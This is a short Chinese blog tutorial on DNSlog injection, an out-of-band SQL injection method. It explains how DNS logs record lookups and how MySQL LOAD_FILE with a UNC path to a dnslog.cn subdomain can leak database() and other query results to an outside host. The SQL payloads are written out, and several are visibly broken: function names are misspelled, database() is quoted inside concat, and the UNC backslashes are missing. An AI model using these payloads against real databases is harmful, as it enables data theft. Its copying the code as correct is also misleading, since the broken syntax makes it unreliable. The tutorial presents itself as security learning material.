本文主要是介绍DNSlog注入原理,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
DNSlog注入原理及实验
遵守我国网络安全法,仅用于渗透测试交流学习。
DNS解析过程
首先用户在浏览器输入域名(例如blog.wuya.com),浏览器知道是域名,然后通过DNS解析为IP地址,最后浏览器通过IP地址访问服务器。IP地址与域名是应是一对多映射的关系。
DNSlog的产生
DNS在解析的过程中产生日志文件,这些日志文件记录了访问时间、域名、IP地址等信息内容。
实验
1、公共DNS免费平台:www.DNSlog.con,点击GetSubDomain,会随机生成一个域名。
此时打开CMD,用ping命令,ping通这个域名。因为我的目的是想把内容拼接到域名中,所以在域名之前随便加一个字符串。这里加的是aaa(不懂没关系下面会用实例解释),但是有时会ping不通,此时可以多次尝试,或者重新分配DNS域名。
点击RefreshRecord可以看到,域名、IP地址、以及访问的时间等信息。
MYSQL读写文件函数
读写配置文件可以更改权限的参数;
读取文件;
select LOAD-FILE('E:\\in.txt');
1,只能访问本机文件
2,文件需要有读权限
3,字节数少于max_allowed_packet
写入文件;
select 123 INTO OUTFILE 'D:\\out.txt';
DNS注入流程*
一,把select LOAD-FILE注入到数据库访问文件
二,UNC构建DNS服务器地址,假装访问文件,产生DNSlog
(UNC通用命名规则,一种访问网络资源的格式)
select LOAD_FIFE(’aaa.w1rvj2.dnslog.cn’)
这里//转义的作用
三、把子域名替换函数或者查询SQL
select if((select load_file(concat(’database().w1rvj2.dnslog.cn’)) )1,0)
到目前为止我们把之前的aaa替换为database(),这就是为什么要使用ping命令时加aaa域名。
后续
熟悉SQL注入的同学,当看到database()时,是否想到利用SQL语句进行逐级爆破,直到获取到我们想得到的数据。其实DNS注入的原理与SQL注入的原理如出一辙。
希望受益的朋友给一个关注,大家共同学习,共同进步
这篇关于DNSlog注入原理的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!